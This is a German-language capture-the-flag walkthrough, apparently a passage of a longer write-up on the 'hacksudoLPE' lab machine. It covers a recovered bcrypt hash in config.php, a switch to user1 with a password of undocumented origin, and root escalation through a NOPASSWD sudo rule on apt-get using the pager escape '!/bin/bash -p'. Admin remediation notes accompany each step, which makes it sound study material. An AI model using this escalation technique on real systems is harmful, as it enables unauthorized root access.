Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.113 - - [30/May/2023 16:09:52] "GET /p.tar.xz HTTP/1.1" 200 -
/* Define username and password */
$Username = 'admin';
$Password = '$2y$12$Grqes5Qu2gIUkW4w4juW8.PjqAO6IeD3B0o8kAXPSwmtj.da525Tq';
**Analyse:** Der Pentester listet den Inhalt des entpackten Verzeichnisses `~/p` auf dem Angreifer-System auf. Es bestätigt die typische Struktur einer Webanwendung. Anschließend werden zwei Dateien untersucht: 1. `login.php`: Der `cat`-Befehl zeigt (in gekürzter Form), dass diese Datei `config.php` einbindet (`require_once ('config.php');`), um offenbar Benutzername und Passwort zu speichern. 2. `config.php`: Der `cat`-Befehl zeigt den Inhalt dieser Datei. Sie definiert einen Benutzernamen `$Username = 'admin'` und ein Passwort `$Password = '$2y$12$Grqes5Qu2gIUkW4w4juW8.PjqAO6IeD3B0o8kAXPSwmtj.da525Tq'`. Das Passwort ist ein Hash, der mit `$2y$` beginnt, was auf bcrypt hindeutet – ein starker Hashing-Algorithmus. Der wiederholte Python-HTTP-Server-Block ist hier irrelevant.
**Bewertung:** Die Analyse des Quellcodes liefert den Benutzernamen (`admin`) und den Passwort-Hash für den Login über `login.php`. Im Gegensatz zu den zuvor im Quellcode gefundenen *Klartext*-Zugangsdaten (`admin:hacksudo`) wird hier ein bcrypt-Hash verwendet. Bcrypt-Hashes sind sehr rechenaufwändig zu knacken und ohne eine bekannte Wortliste oder schwaches Originalpasswort meist nicht offline zu brechen. Dies erklärt möglicherweise, warum der Pentester die im Quellcode gefundenen Klartext-Zugangsdaten nicht erfolgreich verwenden konnte (falls er sie probiert hat) - die Anwendung verwendet tatsächlich den Hash aus der `config.php`. Der Fund des Hashes ist dennoch nützlich, falls das Passwort schwach ist oder wiederverwendet wird. *Wichtiger Hinweis:* Der Hash in `config.php` (`$2y$12$...`) ist *nicht* derselbe wie das Klartext-Passwort `hacksudo`, das im Kommentar der `login.php` stand. Dies deutet auf widersprüchliche oder veraltete Informationen hin. Die `config.php` ist wahrscheinlich die maßgebliche Quelle.
**Empfehlung (Pentester):**
1. Versuchen Sie, den bcrypt-Hash offline mit Tools wie Hashcat und einer großen Wortliste zu knacken, falls Sie über entsprechende Hardware verfügen (oft langwierig und erfolglos bei starken Passwörtern).
2. Da das Knacken des Hashes schwierig ist und wir bereits eine Shell als `user46` haben, konzentrieren Sie sich auf die Privilegieneskalation von `user46` aus. Die Untersuchung der Verzeichnisse `sudo`, `suid`, `capabiliti` im Home-Verzeichnis von `user46` ist der nächste logische Schritt.
**Empfehlung (Admin):**
1. Die Verwendung von bcrypt ist gut. Stellen Sie sicher, dass starke Passwörter erzwungen werden.
2. Entfernen Sie widersprüchliche oder veraltete Informationen (wie Klartext-Passwörter in Kommentaren) aus dem Code.
3. Speichern Sie `config.php` idealerweise außerhalb des Web-Roots.
Privilege Escalation
**Analyse:** Eine organisatorische Notiz, die den Übergang zur Privilegieneskalation markiert.
**Bewertung:** Markiert den Fokuswechsel.
**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.
Obwohl wir bereits eine Shell als `user46` haben und der bcrypt-Hash für `admin` wahrscheinlich nicht knackbar ist, versucht der Pentester hier, zu einem anderen Benutzer (`user1`) zu wechseln. Die Herkunft des Passworts für `user1` wird im Log nicht explizit dokumentiert, aber es muss durch vorherige Enumeration (möglicherweise Offline-Analyse der heruntergeladenen Dateien oder andere unprotokollierte Schritte) gefunden worden sein.
Password:
**Analyse:** Von der Shell als `user46` aus wird der Befehl `su user1` ausgeführt, um zum Benutzer `user1` zu wechseln. Nach Eingabe des (unbekannten) Passworts ist der Wechsel erfolgreich, wie die geänderte Eingabeaufforderung `user1@hacksudoLPE:/var/backups$` zeigt.
**Bewertung:** Erfolgreiches Lateral Movement zum Benutzer `user1`. Es ist unklar, warum dieser Wechsel durchgeführt wird oder woher das Passwort stammt, aber er eröffnet potenziell neue Möglichkeiten zur Privilegieneskalation, falls `user1` andere Rechte als `user46` hat.
**Empfehlung (Pentester):** Führen Sie sofort eine Rechteprüfung für `user1` durch, insbesondere `sudo -l`, um zu sehen, ob dieser Benutzer erhöhte Rechte hat.
**Empfehlung (Admin):** Untersuchen Sie, wie das Passwort für `user1` kompromittiert werden konnte. Stellen Sie sicher, dass alle Benutzer starke, einzigartige Passwörter verwenden. Überwachen Sie `su`-Aktivitäten.
Nach dem erfolgreichen Wechsel zum Benutzer `user1` überprüfen wir dessen `sudo`-Berechtigungen, um einen Weg zur Eskalation auf Root-Rechte zu finden.
Matching Defaults entries for user1 on hacksudoLPE:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User user1 may run the following commands on hacksudoLPE:
(root) NOPASSWD: /usr/bin/apt-get
**Analyse:** Der Befehl `sudo -l` wird als `user1` ausgeführt. Die Ausgabe zeigt, dass `user1` den Befehl `/usr/bin/apt-get` als `root` ausführen darf, und zwar ohne ein Passwort eingeben zu müssen (`NOPASSWD:`).
**Bewertung:** Dies ist eine klassische und sehr unsichere `sudo`-Konfiguration! `apt-get` (und `apt`) kann leicht missbraucht werden, um eine Root-Shell zu erhalten, da es Operationen vor oder nach der Installation von Paketen ausführen kann. Die `NOPASSWD`-Option macht es trivial auszunutzen.
**Empfehlung (Pentester):** Nutzen Sie die `apt-get`-Berechtigung, um eine Root-Shell zu spawnen. Eine gängige Methode ist `sudo apt-get changelog apt` (oder ein anderes Paket) und dann im Pager (oft `less`) `!/bin/bash -p` oder `!sh` einzugeben.
**Empfehlung (Admin):** Gewähren Sie Benutzern niemals uneingeschränkte `sudo`-Rechte für Paketmanager wie `apt-get` oder `apt`, insbesondere nicht mit `NOPASSWD`. Wenn ein Benutzer Pakete installieren muss, konfigurieren Sie dies restriktiver oder verwenden Sie andere Mechanismen. Entfernen Sie diese unsichere `sudo`-Regel sofort.
Wir nutzen die unsichere `sudo`-Regel, die es `user1` erlaubt, `/usr/bin/apt-get` ohne Passwort als Root auszuführen, um eine Root-Shell zu erlangen.
Get:1 store: git 1:2.20.1-2+deb10u3 Changelog
Fetched 154 kB in 0s (0 B/s)
!/bin/bash -p
**Analyse:** Der Pentester führt `sudo apt-get changelog git` aus. Dieser Befehl lädt das Changelog für das Paket `git` herunter und öffnet es normalerweise in einem Pager wie `less`. Innerhalb dieses Pagers können oft externe Befehle ausgeführt werden, indem man `!` gefolgt vom Befehl eingibt. Der Pentester gibt `!/bin/bash -p` ein. Da `apt-get` mit Root-Rechten lief, wird auch der Pager und somit der daraus gestartete Befehl (`/bin/bash -p`) mit Root-Rechten ausgeführt. Die Option `-p` sorgt dafür, dass die effektiven Root-Rechte beibehalten werden. Das Ergebnis ist eine Root-Shell, erkennbar am Prompt `root@hacksudoLPE:/var/backups#`.
**Bewertung:** Root-Zugriff erfolgreich erlangt! Die unsichere `sudo`-Regel für `apt-get` wurde erfolgreich ausgenutzt. Dies ist ein gängiger und zuverlässiger Privilegieneskalationsvektor.
**Empfehlung (Pentester):**
1. Sie haben Root-Rechte.
2. Suchen Sie die Root-Flagge in `/root/root.txt`.
**Empfehlung (Admin):**
1. Entfernen Sie die unsichere `sudo`-Regel (`(root) NOPASSWD: /usr/bin/apt-get`) sofort.
2. Überprüfen Sie alle `sudo`-Regeln auf ähnliche Schwachstellen (siehe GTFOBins).
3. Schulen Sie Administratoren in sicheren `sudo`-Konfigurationen.
Die erfolgreiche Ausführung von `!/bin/bash -p` innerhalb des durch `sudo apt-get changelog` gestarteten Pagers hat uns eine Shell mit Root-Rechten verschafft.
total 68
drwx------ 5 root root 4096 May 16 2021 .
drwxr-xr-x 21 root root 4096 May 7 2021 ..
-rw------- 1 root root 1839 May 16 2021 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwx------ 3 root root 4096 May 6 2021 .gnupg
-rw------- 1 root root 36 May 1 2021 .lesshst
drwxr-xr-x 3 root root 4096 May 1 2021 .local
-rw------- 1 root root 0 May 6 2021 .node_repl_history
-rw-r--r-- 1 root root 176 May 1 2021 .profile
-rw-r--r-- 1 root root 11 May 16 2021 root.txt
-rw-r--r-- 1 root root 75 May 8 2021 .selected_editor
drwx------ 2 root root 4096 May 16 2021 .ssh
-rw------- 1 root root 24546 May 16 2021 .viminfo
**Analyse:** In der erlangten Root-Shell wechselt der Pentester in das `/root`-Verzeichnis und listet dessen Inhalt auf. Neben verschiedenen Konfigurationsdateien und -verzeichnissen wird die Zieldatei `root.txt` gefunden.
**Bewertung:** Die Root-Flagge ist nun zum Greifen nah.
**Empfehlung (Pentester):** Lesen Sie den Inhalt von `root.txt`.
**Empfehlung (Admin):** Sichern Sie das `/root`-Verzeichnis.
viluhacker
**Analyse:** Der Befehl `cat root.txt` zeigt den Inhalt der Root-Flagge an: `viluhacker`.
**Bewertung:** Ziel erreicht! Die Root-Flagge wurde gefunden. Der Penetrationstest ist abgeschlossen.
**Empfehlung (Pentester):** Dokumentieren Sie die Flagge und fassen Sie die gefundenen Schwachstellen und den Angriffspfad im Bericht zusammen.
**Empfehlung (Admin):** Beheben Sie die identifizierten Schwachstellen: Hartcodierte Zugangsdaten im Web-Quellcode, preisgegebene Zugangsdaten auf einer Challenge-Seite, fehlende `httponly`-Flags, veralteter Apache, unsichere `sudo`-Regel.
Privilege Escalation erfolgreich
**Analyse:** Abschließende Notiz zur Bestätigung des Erfolgs.
**Bewertung:** Organisatorische Notiz.
**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.
Anmerkung: Im bereitgestellten Log wurde keine explizite User-Flagge gefunden oder ausgelesen.